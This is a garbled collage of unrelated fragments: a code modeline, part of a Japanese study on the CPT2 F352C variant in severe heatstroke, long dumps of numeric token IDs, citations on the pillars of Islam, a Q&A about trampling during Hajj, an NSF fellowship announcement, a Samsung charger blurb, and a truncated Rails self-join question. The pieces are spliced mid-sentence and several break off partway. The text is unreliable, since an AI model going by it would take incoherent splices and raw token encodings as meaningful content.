namespace sofa /* vim: set ts=4 sw=4 sts=4 tw=100 / Funding information No funding information provided. Background {#ams2373-sec-0005} ========== Reports of deaths caused by heatstroke have been increasing with global warming and the worldwide increase of serious heat waves.[1](#ams2373-bib-0001){ref-type="ref"}, [2](#ams2373-bib-0002){ref-type="ref"} In Japan, a recent surge of emergency transports due to heatstroke[3](#ams2373-bib-0003){ref-type="ref"} and deaths[4](#ams2373-bib-0004){ref-type="ref"} have become issues of social concern. In serious heatstroke, elevated body temperature of over 40°C is believed to be the main cause of illness and the most serious complication results in the patient\'s death from multiple organ failure (MOF). The same level of high fever could also occur in influenza patients and occasionally results in MOF. Recently, this type of MOF with high fever, particularly in influenza pediatrics, has been revealed to be caused by the thermolabile phenotype of carnitine palmitoyltransferase II (CPT II) variant (rs2229291; c.1055T˃G \[p.Phe352Cys\]) (F352C). Carnitine palmitoyltransferase II locates in the inner mitochondrial membranes to import long‐chain fatty acids and produce adenosine triphosphate (ATP), and its thermolabile phenotype of CPT2* polymorphism leads to the suppression of ATP production only under high fever. It is reasonable to understand whether high fever is by heatstroke of influenza that high fever suppresses ATP production throughout the body with the thermolabile phenotype of CPT2 polymorphism, and this should be related to the patient\'s serious condition induced by high fever. This assumption has never been tested. In this study, the relation between CPT2 polymorphism and severity of heatstroke with a body temperature of over 40°C was investigated. Methods {#ams2373-sec-0006} ======= Twenty‐four consecutive patients diagnosed as having severe heatstroke were enrolled in the study. They were all transported by ambulance directly from the scene and admitted to either of two life‐saving emergency centers, Tokyo Medical University Hospital or Tokyo Medical University Hachioji Medical Centre (both Tokyo, Japan). Severe heatstroke in this study was diagnosed in patients with a core temperature of over 40°C, with loss of consciousness or convulsions. The subjects underwent genetic analysis for CPT2 after obtaining written informed consent from the closest relative. A CPT2 exon 4 region, including F352C and V368I, was screened for mutations or polymorphisms by direct sequencing. We carried out polymorphism screening on the present patients and healthy volunteers, also Japanese, referred from our previous research.[5](#ams2373-bib-0005){ref-type="ref"} Genomic DNA from whole blood (anticoagulated with ethylenediaminetetraacetic acid) was prepared using the QIAamp DNA blood midi kits (Qiagen, Tokyo, Japan). Both strands (sense/antisense) of the CPT2 exon 4 regions were sequenced at the Dragon Genomics Center (Takara, Mie, Japan) using E4n2F1 (5′‐tcgtttacccaaacccagtcg‐3′) and E4n2R1 (5′‐tcaaacttttccttagcagct‐3′) primers. The χ^2^‐test and Fisher\'s exact test were used to compare genotype frequencies. The Mann--Whitney U‐test was used to compare the durations of hospitalization. Laboratory and scoring data were analyzed using the t‐test. Japanese Association for Acute Medicine Disseminated Intravascular Coagulation (JAAM DIC), Acute Physiologic and Chronic Health Evaluation (APACHE) II, and Sequential Organ Failure Assessment (SOFA) scores in initial treatment were calculated. We compared age, gender, body temperature at emergency room (ER) arrival, duration of hospitalization, renal replacement therapy, prognosis, complete blood count, and coagulation in the subjects with and without the F352C variant. JMP11 (SAS Institute, Cary, NC, USA) was used for statistical analysis. The significance threshold was set to a P‐value of 0.05. This study was pre‐approved by the Ethics Committee of Tokyo
[ 310, 1754, 2220, 253, 2361, 1650, 187, 1171, 253, 32550, 15, 380, 3159, 908, 310, 346, 1503, 518, 255, 937, 534, 29001, 187, 187, 22, 15, 510, 329, 1962, 13107, 3248, 407, 2828, 571, 266, 11982, 276, 777, 15908, 737, 251, 5173, 13, 7727, 5490, 5874, 31299, 313, 746, 3071, 6844, 1051, 273, 253, 36250, 266, 26438, 273, 6009, 13, 253, 22563, 273, 534, 16988, 187, 783, 806, 346, 81, 33787, 3, 273, 8033, 13, 285, 5544, 697, 4495, 275, 2969, 3448, 15, 29001, 187, 187, 23, 15, 34330, 285, 20242, 275, 5427, 285, 253, 10351, 5791, 407, 3599, 5308, 17771, 411, 16210, 313, 746, 2922, 6844, 1051, 5083, 273, 253, 18892, 16167, 285, 273, 637, 434, 10096, 2220, 2656, 13, 347, 2326, 275, 253, 187, 394, 29037, 23252, 816, 1024, 15212, 15, 380, 1273, 1270, 43035, 273, 8033, 310, 253, 29001, 187, 187, 24, 15, 510, 19383, 11362, 407, 24709, 273, 3968, 8049, 13, 19173, 518, 303, 418, 770, 437, 13, 6911, 322, 15, 418, 770, 437, 313, 1093, 2511, 6844, 11752, 253, 20533, 5769, 266, 301, 34526, 13, 665, 12969, 323, 247, 4289, 285, 10488, 1107, 7357, 187, 9138, 5446, 13, 352, 369, 12258, 347, 247, 43035, 273, 8033, 285, 347, 253, 15555, 273, 10497, 15, 29001, 50, 27, 187, 187, 1276, 6569, 604, 368, 5159, 3095, 1309, 388, 1432, 75, 32, 187, 187, 15426, 312, 13, 187, 1909, 954, 273, 368, 403, 6600, 13, 436, 1107, 8, 388, 1432, 75, 574, 1142, 8923, 1955, 281, 253, 21463, 13616, 15, 36242, 818, 1166, 952, 4962, 275, 436, 2362, 15, 187, 3220, 1953, 310, 13, 604, 3095, 858, 5159, 1529, 8797, 1309, 436, 21463, 13616, 13, 310, 627, 388, 1432, 75, 7607, 32, 209, 187, 3463, 5159, 13, 309, 1053, 626, 1599, 13318, 20362, 3095, 13, 309, 1599, 604, 3095, 32926, 6216, 689, 3095, 342, 253, 8208, 281, 755, 4817, 731, 275, 1340, 281, 3426, 616, 388, 1432, 75, 313, 338, 326, 2789, 3282, 40778, 187, 187, 34, 27, 535, 50254, 50266, 688, 253, 1416, 273, 27006, 187, 187, 688, 2743, 281, 634, 1953, 187, 187, 1276, 6569, 604, 368, 5159, 3095, 1309, 388, 1432, 75, 32, 187, 187, 688, 824, 4112, 347, 368, 753, 773, 338, 368, 5159, 3095, 1309, 388, 1432, 75, 7721, 352, 3133, 12078, 684, 253, 419, 22492, 15, 50276, 4527, 2282, 275, 2743, 281, 436, 2647, 347, 368, 753, 27, 604, 3095, 32926, 6216, 689, 3095, 342, 253, 8208, 281, 755, 4817, 731, 275, 1340, 281, 3426, 616, 388, 1432, 75, 937, 309, 1904, 457, 85, 1089, 436, 5382, 347, 247, 353, 538, 22559, 255, 273, 253, 388, 1432, 275, 4555, 253, 1072, 5382, 15, 209, 187, 2374, 253, 643, 1133, 13, 275, 253, 5393, 4112, 313, 284, 368, 753, 32926, 4906, 327, 643, 11826, 75, 1432, 582, 13949, 690, 952, 24284, 598, 275, 1340, 281, 513, 616, 419, 75, 7938, 13, 840, 25962, 1075, 595, 352, 812, 320, 4592, 984, 273, 253, 3072, 15, 1292, 309, 5467, 352, 476, 320, 9719, 13038, 285, 1014, 12078, 684, 253, 388, 1432, 604, 3095, 513, 352, 23209, 15, 187, 1989, 275, 253, 1840, 14, 13012, 1650, 313, 2520, 807, 13, 388, 1432, 582, 359, 457, 69, 1805, 417, 281, 45577, 253, 11826, 75, 1432, 3587, 13, 1580, 347, 1199, 347, 309, 1089, 562, 13, 352, 310, 4592, 1955, 281, 253, 3480, 273, 247, 1175, 4323, 275, 326, 1899, 407, 253, 7732, 275, 4179, 326, 8505, 690, 5506, 4581, 247, 1039, 273, 253, 11826, 75, 1432, 13, 840, 11826, 75, 1432, 2427, 275, 271, 18580, 4112, 25962, 1075, 595, 13, 16906, 2866, 7757, 352, 2506, 457, 85, 1646, 281, 12078, 366, 253, 419, 75, 273, 253, 8511, 75, 1432, 665, 25962, 1075, 595, 14494, 342, 436, 4112, 1051, 4683, 2282, 3839, 313, 16829, 436, 807, 7343, 10, 352, 476, 320, 9719, 13038, 323, 8511, 75, 1432, 281, 14810, 643, 8511, 75, 1432, 407, 32926, 4906, 347, 368, 5393, 313, 565, 1075, 595, 481, 187, 1989, 8664, 253, 3302, 629, 273, 634, 1953, 347, 368, 5393, 773, 30305, 21026, 818, 1166, 952, 4962, 275, 436, 2362, 1425, 1023, 358, 5356, 627, 403, 1027, 9990, 670, 352, 15, 24697, 347, 1199, 347, 309, 16113, 13, 352, 310, 753, 875, 818, 2090, 281, 625, 685, 577, 2313, 952, 452, 644, 5339, 313, 35861, 281, 1027, 4973, 481, 187, 18786, 27, 187, 1147, 812, 320, 9719, 13038, 604, 11826, 75, 1432, 492, 4636, 327, 643, 11826, 75, 1432, 23209, 15, 313, 8430, 5020, 273, 731, 390, 1014, 512, 273, 731, 588, 10018, 253, 987, 273, 643, 11826, 75, 1432, 2698, 187, 13618, 38658, 1422, 187, 187, 4941, 27, 187, 2700, 15, 303, 312, 14, 76, 9511, 5391, 15, 343, 187, 2700, 15, 4482, 68, 15, 681, 16, 5726, 757, 187, 6855, 15, 25842, 15, 2061, 187, 2700, 15, 29370, 2072, 15, 343, 535, 26170, 1847, 3258, 414, 27, 37549, 13, 24114, 13, 330, 32854, 13, 1176, 10340, 187, 4883, 39, 14, 2431, 6366, 1777, 15, 37, 15, 21301, 19794, 387, 253, 2499, 273, 20973, 187, 2413, 1358, 304, 797, 15, 68, 462, 29409, 15, 86, 22670, 15, 13808, 187, 1231, 403, 13864, 281, 10578, 247, 747, 16125, 3733, 2086, 387, 253, 2499, 273, 20973, 13, 14597, 407, 253, 530, 15, 52, 15, 3313, 6875, 6807, 313, 4883, 39, 10, 17712, 800, 37770, 10286, 285, 5489, 6572, 30494, 1456, 313, 2431, 6366, 10, 2086, 15, 844, 588, 11476, 3435, 43027, 6366, 21301, 84, 689, 253, 1735, 577, 1107, 15, 43027, 6366, 21301, 84, 4763, 2620, 1107, 273, 2120, 8362, 13, 1690, 767, 1107, 273, 42105, 43027, 6366, 18798, 423, 4816, 1229, 13, 933, 591, 807, 10, 285, 1264, 1107, 387, 2622, 7811, 267, 2308, 15, 6572, 30494, 4901, 949, 667, 273, 818, 1777, 15, 37, 15, 5659, 27, 418, 5191, 3397, 28, 38399, 13, 18847, 13, 708, 38308, 13416, 28, 4111, 10537, 708, 22054, 36415, 28, 285, 577, 5659, 275, 29624, 27, 29475, 267, 22054, 21559, 13, 15022, 13, 9753, 267, 13, 285, 18847, 708, 330, 32854, 15, 313, 8497, 326, 42105, 18798, 1727, 403, 2130, 760, 281, 530, 15, 52, 15, 7815, 285, 9928, 8811, 13, 533, 2571, 476, 4647, 281, 253, 2086, 285, 476, 4763, 2120, 8362, 387, 2629, 7811, 267, 2308, 2698, 6572, 30494, 3426, 2622, 1728, 7811, 19616, 3733, 13, 533, 671, 247, 1846, 5161, 273, 686, 16641, 569, 8, 13519, 326, 2085, 731, 4114, 275, 253, 7936, 5697, 13, 3082, 13, 285, 28939, 275, 1016, 15299, 5028, 4209, 281, 1581, 731, 281, 789, 275, 27549, 13, 734, 36078, 6671, 15, 29746, 14, 3169, 789, 310, 8527, 342, 3564, 14, 251, 2289, 281, 285, 3733, 342, 9968, 5024, 5657, 323, 6551, 21559, 13, 9699, 6551, 21559, 13, 30222, 13, 285, 15180, 14053, 15, 187, 4967, 403, 359, 9745, 2366, 841, 3672, 275, 776, 3733, 2086, 32, 914, 5411, 9699, 285, 7534, 7274, 588, 1581, 3448, 2440, 13, 5162, 13, 285, 9360, 313, 317, 17050, 285, 16743, 10, 4768, 253, 36846, 281, 320, 5421, 275, 253, 3634, 273, 2570, 13, 7870, 6355, 273, 3608, 13, 3126, 13, 6551, 36415, 13, 31937, 13, 285, 4466, 13, 2438, 1573, 747, 16039, 715, 253, 3753, 273, 3448, 15, 11056, 13, 9699, 285, 7534, 4910, 403, 22112, 7939, 15, 43419, 10625, 9904, 342, 29475, 2588, 11665, 2085, 3411, 1050, 30591, 281, 1896, 6380, 14395, 323, 3448, 9360, 28, 46449, 476, 3135, 281, 320, 7515, 342, 2032, 4679, 342, 3320, 7569, 14, 483, 390, 7569, 14, 3487, 5893, 3210, 970, 3082, 273, 29475, 267, 285, 26024, 22054, 21559, 285, 2588, 11665, 313, 16651, 272, 327, 17872, 285, 9699, 13795, 2330, 342, 3448, 481, 19728, 13, 824, 2561, 16633, 8558, 327, 3448, 9360, 13, 285, 627, 310, 1652, 3700, 896, 432, 7534, 281, 9699, 10625, 15, 3824, 3733, 2086, 43238, 247, 747, 5978, 273, 10950, 417, 816, 281, 28523, 3700, 875, 9699, 285, 7534, 10625, 13, 533, 281, 440, 1419, 731, 13, 285, 8968, 253, 2442, 323, 7534, 7274, 281, 4151, 417, 816, 253, 14395, 273, 9360, 13, 533, 253, 14395, 273, 6297, 8109, 3448, 30535, 285, 9699, 285, 15180, 11813, 273, 3448, 2440, 285, 5162, 625, 3839, 15, 187, 42153, 2665, 1005, 15, 496, 1635, 281, 42105, 21301, 19794, 13, 8064, 403, 2130, 281, 1329, 2561, 4815, 13, 5213, 4184, 19794, 342, 10471, 275, 3060, 285, 10497, 13, 285, 49303, 452, 2289, 281, 4283, 10950, 285, 1375, 14, 1171, 14, 783, 14, 435, 30684, 15, 187, 37, 2095, 15, 844, 3894, 42105, 434, 7517, 281, 2572, 11497, 275, 5859, 407, 762, 33174, 2390, 15, 530, 31201, 285, 776, 43027, 6366, 2085, 9022, 4263, 285, 1329, 2718, 323, 512, 1777, 15, 37, 15, 3484, 13, 342, 1798, 4116, 281, 253, 7350, 273, 762, 33174, 2390, 15, 10168, 13, 31691, 13, 285, 44465, 4292, 403, 3340, 14659, 281, 4647, 15, 187, 2413, 1358, 304, 797, 15, 68, 462, 29409, 15, 86, 22670, 15, 13808, 187, 2413, 1358, 1981, 86, 3397, 15, 86, 22670, 15, 13808, 31889, 1417, 16153, 310, 247, 5699, 3290, 14, 1171, 14, 8206, 15047, 13, 285, 23061, 6057, 352, 15, 2064, 434, 2139, 253, 2567, 313, 18399, 314, 10, 2692, 745, 697, 747, 36464, 3976, 1063, 8502, 80, 327, 13311, 387, 253, 20970, 5838, 898, 2362, 436, 4131, 15, 6975, 253, 28718, 5125, 13, 436, 4667, 273, 1612, 25297, 476, 4179, 253, 20970, 5838, 898, 285, 20970, 14179, 10486, 15, 380, 36464, 3976, 1063, 8502, 80, 310, 1024, 2130, 281, 1340, 275, 5418, 323, 370, 8193, 13, 342, 15076, 7117, 347, 346, 24, 281, 884, 2136, 1897, 449, 50, 27, 187, 187, 45317, 327, 35454, 27, 556, 64, 20415, 1881, 6604, 187, 187, 51, 5351, 608, 15, 187, 42, 452, 644, 2820, 281, 2794, 247, 1881, 44978, 556, 64, 20415, 2954, 1754, 327, 436, 23647, 27, 50276, 3614, 1358, 28672, 15, 681, 49033, 75, 5844, 300, 72, 409, 16, 4507, 14, 15352, 14, 20415, 14, 936, 14, 20415, 14, 1286, 14, 13956, 14, 2420, 14, 70, 17, 34363, 68, 1630, 68, 18, 70, 313, 783, 1390, 5313, 27, 14026, 64, 20415, 1040, 14026, 64, 20415, 6250, 1128, 6250, 23315, 29355, 5270, 10, 187, 42, 671, 923, 2710, 17059, 1060, 670, 436, 4473, 533, 309, 1353, 1335, 247, 1652, 3663, 672, 352, 3249, 281, 619, 1895, 285, 697, 28939, 15, 1244, 309, 717, 417, 2119, 752, 253, 5447, 943, 1007, 751, 15, 309, 943, 671, 3748, 326, 309, 717, 1077, 747, 281, 35454, 15, 187, 42, 717, 2820, 281, 2794, 686, 12554, 800, 8, 428, 686, 33174, 8, 2954, 875, 28100, 15, 187, 34, 11447, 476, 320, 6607, 407, 1142, 28100, 313, 6989, 556, 64, 20415, 25574, 481, 187, 1898, 247, 11447, 476, 1957, 1142, 28100, 313, 6989, 556, 64, 20415, 12675, 264, 481, 187, 15545, 327, 253, 23647, 275, 253, 3048, 1840, 309, 4159, 619, 11447, 1566, 751, 436, 27, 187, 2437, 11447, 654, 11683, 16324, 187, 50276, 7110, 64, 20415, 1163, 12554, 3993, 13, 949, 27, 1163, 12554, 422, 64, 4492, 13, 2603, 27, 1163, 12554, 800, 187, 50276, 7110, 64, 20415, 1163, 12554, 422, 64, 4492, 13, 5639, 64, 2364, 27, 1163, 33174, 64, 4537, 64, 301, 13, 966, 64, 1590, 27, 686, 12554, 3993, 8, 535, 50276, 7110, 64, 20415, 1163, 33174, 13, 949, 27, 1163, 33174, 64, 4492, 13, 2603, 27, 1163, 33174, 187, 50276, 7110, 64, 20415, 1163, 33174, 64, 4492, 13, 5639, 64, 2364, 27, 1163, 12554, 800, 64, 4537, 64, 301, 13, 966, 64, 1590, 27, 686, 12554, 3993, 8, 187, 423, 187, 187, 5872, 309, 3562, 247, 15572, 2829, 751, 594, 313, 42, 1925, 352, 15572, 533, 697, 1663, 253, 1387, 273, 15572, 285, 6607, 2262, 187, 2437, 25574, 654, 20049, 16324, 1450, 8932, 187, 50276, 8382, 23750, 64, 936, 1163, 12554, 800, 13, 5639, 64, 2364, 27, 686, 12554, 800, 64, 4537, 64, 301, 1383, 966, 64, 1590, 27, 686, 6989, 8, 187, 50276, 8382, 23750, 64, 936, 1163, 33174, 13, 5639, 64, 2364, 27, 686, 33174, 64, 4537, 64, 301, 1383, 966, 64, 1590, 27, 686, 6989, 8, 187, 423, 187, 187, 42, 671, 3562, 247, 15572, 2829, 275, 253, 5447, 534, 4453, 751, 436, 27, 187, 12, 23130, 12, 2912, 12, 4485, 12, 7040, 12, 9794, 12, 573, 12, 187, 93, 7327, 50262, 93, 8078, 50271, 93, 34631, 1040, 10030, 1040, 18193, 1040, 33838, 50268, 93, 187, 12, 23130, 12, 2912, 12, 4485, 12, 7040, 12, 9794, 12, 573, 12, 187 ]	is based upon the reported example of the Prophet. The word used is " Zakat," which..." 5.The Achehnese by Christiaan Snouck Hurgronje, Richard James Wilkinson (1906)"... of the Mohammedan confession of faith, the repetition of which constitutes the first "pillar" of Islam, and explained its meaning in simple language...." 6.Islam and Christianity in India and the Far East by Elwood Morris Wherry (1907)"... truth of the divine unity and of man's dependence upon God, as seen in the throne verse just now quoted. The second great pillar of Islam is the..." 7.The Living Age by Making of America Project, Eliakim Littell, Robert S. Littell (1889)"Under the Iranian Samanid dynasty, who ruled for a hundred and thirty years till 1000 AD, it was regarded as a pillar of Islam and as the pride of Asia...."Q: What happens if you kill someone during Hajj? Salam, As most of you are aware, this years' Hajj had many deaths due to the stampede. Approximately 717 people died in this event. My question is, if someone did kill another Muslim during this stampede, is there Hajj accepted? By kill, I don't mean physically attacking someone, I mean if someone trampled over someone with the intention to get passed them in order to complete their Hajj (if that makes sense?). A: In the name of Allah In regard to your question What happens if you kill someone during Hajj? In such situation as you said “if you kill someone during Hajj?” it seems invalidates the hajj. Of course in regard to this matter as you said: if someone trampled over someone with the intention to get passed them in order to complete their Hajj," I didn’t find this item as a Mubtalat of the Haj in exactly the same item. On the other hand, in the mentioned situation (as you said trampling on other Hojaj), occasionally some people hurry up in order to do their haj faster, then unintentionally it could be happened because of the population. But I assume it can be impermissible and even invalidates the Haj if someone do it intentionally. But in the above-mentioned example (this year, Haj), we’d better not to accuse the Hojaj directly, since as much as I find out, it is happened due to the lack of a good management in that position by the persons in charge that apparently some responsible closed a way of the Hojaj, then Hojaj went in an awful situation unintentionally, afterwards… Hence it doesn’t seem to invalidate the haj of the hojaj who unintentionally encountered with this situation... Of course generally (except this year accident) it can be impermissible for hojaj to annoy other hojaj by trampling as you mentioned (intentionally). But concerning the initial part of your question as you mentioned “Approximately 717 people died in this event.” Seemingly there are different statistics about it. Actually as much as I searched, it is said between 769 to more than 4100 people have been killed (according to different sources). Conclusion: It could be impermissible if Hojaj trample on other Hojaj intentionally. (Although majority of them or even all of them will observe the right of other Hojaj.) God Bless You References: www.imam-khomeini.ir www.bbc.com/persian fa.wikipedia.org www.iqna.ir Language Plasticity: Genes, Brain, Cognition, Computation NSF-IGERT Ph.D. Fellowships at the University of Connecticut http://igert.cogsci.uconn.edu We are pleased to announce a new graduate training program at the University of Connecticut, funded by the U.S. National Science Foundation (NSF) Integrative Graduate Education and Research Traineeship (IGERT) program. We will admit 27 IGERT Fellows over the next 4 years. IGERT Fellows receive five years of full funding, including two years of NSF IGERT stipend ($30,000 per year) and three years at normal departmental levels. Trainees enter through any of 7 Ph.D. programs: Linguistics; Speech, Language, & Hearing Sciences; Physiology & Neurobiology; and 4 programs in Psychology: Behavioral Neuroscience, Clinical, Developmental, and Language & Cognition. (Note that NSF stipends are available only to U.S. citizens and permanent residents, but others can apply to the program and can receive full funding at standard departmental levels.) Trainees complete normal home department specialist training, but also a common core of 'Foundations' courses that provide them background in the fundamental ideas, methods, and terminology in each participating domain sufficient to allow them to work in collaborative, interdisciplinary teams. Course-based work is integrated with hands-on access to and training with cutting edge tools for neuroscience, cognitive neuroscience, genetics, and computational modeling. Why are we bringing together these areas in our training program? Unifying cognitive and biological approaches will allow language development, processing, and disorders (acquired and developmental) throughout the lifespan to be studied in the context of complex, dynamic interactions of genes, environment, neurobiology, cognition, and culture, affording new insights into the nature of language. Today, cognitive and biological fields are weakly linked. Cognitive domains coupled with Behavior Genetics provide correlational clues to possible genetic bases for language disorders; causality can begin to be assessed with true experiments with gene knock-out or knock-down animal models using methods of Behavioral and Molecular Neuroscience and Genetics (focusing on sensory and cognitive traits associated with language). Currently, such research focuses primarily on language disorders, and there is little transfer back from biological to cognitive domains. Our training program prepares a new generation of scientists not just to accelerate transfer between cognitive and biological domains, but to unify them, and realize the potential for biological approaches to inform not just the bases of disorders, but the bases of mechanisms supporting language plasticity and cognitive and computational theories of language development and processing more generally. Opportunities. In addition to NSF Fellowships, funds are available to support research costs, international internships with partners in Europe and Asia, and trainees have access to leading scientists and state-of-the-art laboratories. Diversity. We share NSF's mission to increase participation in science by underrepresented groups. UConn and our IGERT provide mentoring and support systems for all Ph.D. students, with particular attention to the concerns of underrepresented groups. Women, minorities, and Deaf individuals are especially encouraged to apply. http://igert.cogsci.uconn.edu http://linguistics.uconn.eduWireless charging is a huge quality-of-life upgrade, and Samsung knows it. That's why the company (briefly) showed off its new Wireless Charger Duo onstage at the Galaxy Note 9 event this morning. Like the rumors suggested, this pair of power pads can charge the Galaxy Note 9 and Galaxy Watch simultaneously. The Wireless Charger Duo is now available to order in Black for $120, with shipping listed as "7 to 10 business days."Q: Ruby on Rails: has_many self join Rails 5. I have been trying to create a self referencing has_many relationship based on this tutorial: https://medium.com/@jbmilgrom/active-record-many-to-many-self-join-table-e0992c27c1e (the last piece: Has_many \| Has_many — Self Join Table) I also see various threads here about this concept but I'm still a little lost when it comes to my problem and its terminology. And I am not sure what the database should look like. I should also mention that I am very new to Rails. I am trying to create'representative' -'represented' relationship between Users. A User can be represented by many Users (User has_many Representatives). And a User can represent many Users (User has_many Represented). Based on the tutorial in the link above I wrote my User model like this: class User < ApplicationRecord has_many :representatives, through: :representive_link, source: :representative has_many :representive_link, foreign_key: :represented_user_id, class_name:'representatives' has_many :represented, through: :represented_link, source: :represented has_many :represented_link, foreign_key: :representative_user_id, class_name:'representatives' end Then I created a representatives table like so (I called it representatives but its really the group of representatives and represented): class Representatives < ActiveRecord::Base belongs_to :representative, foreign_key:'representative_user_id', class_name: 'User' belongs_to :represented, foreign_key:'represented_user_id', class_name: 'User' end I also created a representatives table in the database which looks like this: +----------------------+------------+------+-----+---------+----------------+ \| Field \| Type \| Null \| Key \| Default \| Extra \| +----------------------+------------+------+-----+---------+----------------+
[ 13, 19866, 274, 12018, 2241, 708, 2354, 13, 187, 50254, 50270, 50276, 43536, 15554, 708, 1934, 13, 17661, 20607, 6074, 475, 14135, 42, 13, 187, 50254, 50270, 50276, 19307, 1080, 14444, 475, 15580, 13, 187, 50254, 50270, 50276, 1030, 32057, 11501, 6074, 475, 5696, 42, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11499, 254, 23064, 9038, 5279, 22098, 300, 14873, 9, 45, 13, 13092, 13, 6725, 13, 11940, 13, 308, 18206, 13, 28018, 13, 12226, 42, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 4717, 3351, 8613, 9, 565, 1540, 64, 85, 17573, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 4717, 3351, 8613, 9, 36735, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 1864, 2503, 3351, 8613, 9, 565, 1540, 64, 85, 17573, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 1864, 2503, 3351, 8613, 9, 36735, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 12236, 272, 10715, 9, 2548, 475, 31742, 13, 11841, 3902, 475, 8932, 31073, 13, 540, 1540, 64, 85, 11760, 13736, 13, 187, 50254, 50274, 7301, 14026, 8932, 5785, 13, 540, 1540, 64, 85, 14446, 13, 187, 50254, 50274, 10698, 5733, 83, 16929, 13, 187, 50254, 50274, 41959, 475, 42, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 12236, 272, 10715, 9, 31742, 13, 11760, 31073, 13, 11760, 13736, 13, 14026, 8932, 5785, 13, 187, 50254, 50266, 50276, 20359, 13, 5733, 83, 16929, 13, 309, 558, 187, 50276, 94, 187, 50276, 10975, 310, 45, 7611, 25997, 28274, 9, 12168, 22904, 6074, 1450, 45, 7611, 25997, 708, 36, 18, 13, 187, 50257, 12168, 22904, 6074, 1450, 45, 7611, 25997, 708, 36, 19, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 45, 7611, 25997, 28274, 9, 36, 18, 13, 330, 19, 558, 187, 50276, 94, 187, 50276, 10975, 476, 13815, 287, 39, 2327, 36, 2503, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 5092, 13815, 287, 39, 2327, 36, 2503, 1874, 187, 50276, 94, 187, 50276, 10975, 476, 17964, 36, 2503, 9, 29724, 475, 45, 13, 25474, 10548, 1401, 6159, 13, 187, 50254, 29094, 12018, 2241, 475, 2354, 13, 187, 50254, 29724, 6074, 475, 18206, 13, 19307, 1080, 14444, 475, 15580, 13, 43536, 15554, 475, 1934, 13, 187, 50254, 12168, 20607, 6074, 475, 19467, 6074, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 5092, 17964, 36, 2503, 9, 45, 13, 28885, 13, 6725, 13, 13092, 13, 28018, 13, 11940, 13, 9271, 6074, 558, 187, 50276, 94, 187, 50276, 10975, 943, 39, 15100, 8983, 29228, 1082, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11425, 39, 15100, 8983, 29228, 1874, 187, 50276, 94, 187, 50276, 10975, 943, 39, 15100, 8116, 13057, 6060, 9, 3474, 32057, 475, 45, 10, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11425, 39, 15100, 8116, 13057, 6060, 9, 45, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 15900, 9, 2548, 475, 3233, 2548, 13, 8948, 42792, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 15900, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 9624, 9, 2548, 475, 3233, 2548, 13, 8948, 42792, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 9624, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 6369, 15900, 9, 2548, 475, 3233, 2548, 13, 1219, 525, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 6369, 15900, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 6369, 9624, 9, 2548, 475, 3233, 2548, 13, 1219, 525, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 6369, 9624, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 4316, 2569, 9, 2548, 475, 3233, 2548, 13, 8948, 42792, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 4316, 2569, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 40, 1226, 9, 2548, 475, 3233, 2548, 13, 8948, 42792, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 40, 1226, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 5065, 560, 15900, 9, 2548, 475, 3233, 2548, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 5065, 560, 15900, 9, 3233, 2548, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 12897, 9624, 9, 2548, 475, 3233, 2548, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 12897, 9624, 9, 3233, 2548, 558, 187, 50276, 94, 187, 50276, 10975, 556, 15187, 8494, 12535, 9, 2548, 475, 3233, 2548, 13, 7301, 1680, 52, 1300, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 7110, 15187, 8494, 12535, 9, 3233, 2548, 13, 1680, 52, 1300, 558, 187, 50276, 94, 187, 50276, 10975, 556, 15271, 12596, 40734, 9, 10548, 2705, 475, 42, 13, 10698, 5733, 83, 16929, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 7110, 15271, 12596, 40734, 9, 42, 13, 5733, 83, 16929, 558, 187, 50276, 94, 187, 50276, 10975, 41469, 15219, 1025, 12236, 272, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11499, 398, 15219, 1025, 12236, 272, 1874, 187, 50276, 94, 187, 50276, 565, 755, 20480, 272, 17070, 25997, 9, 2548, 475, 31742, 13, 11841, 3902, 475, 8932, 31073, 13, 540, 1540, 64, 85, 11760, 13736, 13, 187, 50254, 50275, 10975, 14026, 8932, 5785, 13, 540, 1540, 64, 85, 14446, 13, 187, 50254, 50275, 10790, 5733, 83, 16929, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 20480, 272, 17070, 25997, 9, 31742, 13, 11760, 31073, 